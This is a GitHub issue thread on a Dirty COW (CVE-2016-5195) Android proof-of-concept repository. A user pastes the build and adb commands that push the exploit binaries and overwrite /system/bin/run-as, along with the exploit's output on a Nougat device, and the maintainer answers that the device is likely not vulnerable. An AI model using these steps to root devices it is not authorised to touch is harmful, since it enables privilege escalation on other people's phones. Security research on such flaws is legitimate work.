timwr / CVE-2016-5195

CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android
959 stars 395 forks source link

Not working on android nougat #41

Closed MatanTubul closed 7 years ago

MatanTubul commented 7 years ago

Hi i try to execute the make root command and i get the following output:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16 make[1]: Entering directory/home/matant/Downloads/tmp/CVE-2016-5195' [armeabi] Compile thumb : dirtycow <= dirtycow.c [armeabi] Compile thumb : dirtycow <= dcow.c [armeabi] Executable : dirtycow [armeabi] Install : dirtycow => libs/armeabi/dirtycow [armeabi] Compile thumb : run-as <= dirtycow.c [armeabi] Compile thumb : run-as <= run-as.c [armeabi] Executable : run-as [armeabi] Install : run-as => libs/armeabi/run-as make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-5195' adb push libs/armeabi/dirtycow /data/local/tmp/dcow 191 KB/s (13516 bytes in 0.069s) adb push libs/armeabi/run-as /data/local/tmp/run-as 93 KB/s (5276 bytes in 0.055s) adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as' dcow /data/local/tmp/run-as /system/bin/run-as warning: new file size (5276) and destination file size (14360) differ

[] size 5276 [] mmap 0xe8960000 [] currently 0xe8960000=464c457f [] madvise = 0xe8960000 5276 [] madvise = 0 1048576 [] /proc/self/mem -269922 269922 [*] exploited 0xe8960000=464c457f adb shell /system/bin/run-as run-as: Usage: run-as [--user ] [] `

timwr commented 7 years ago

I guess your device is not vulnerable. You can also try make test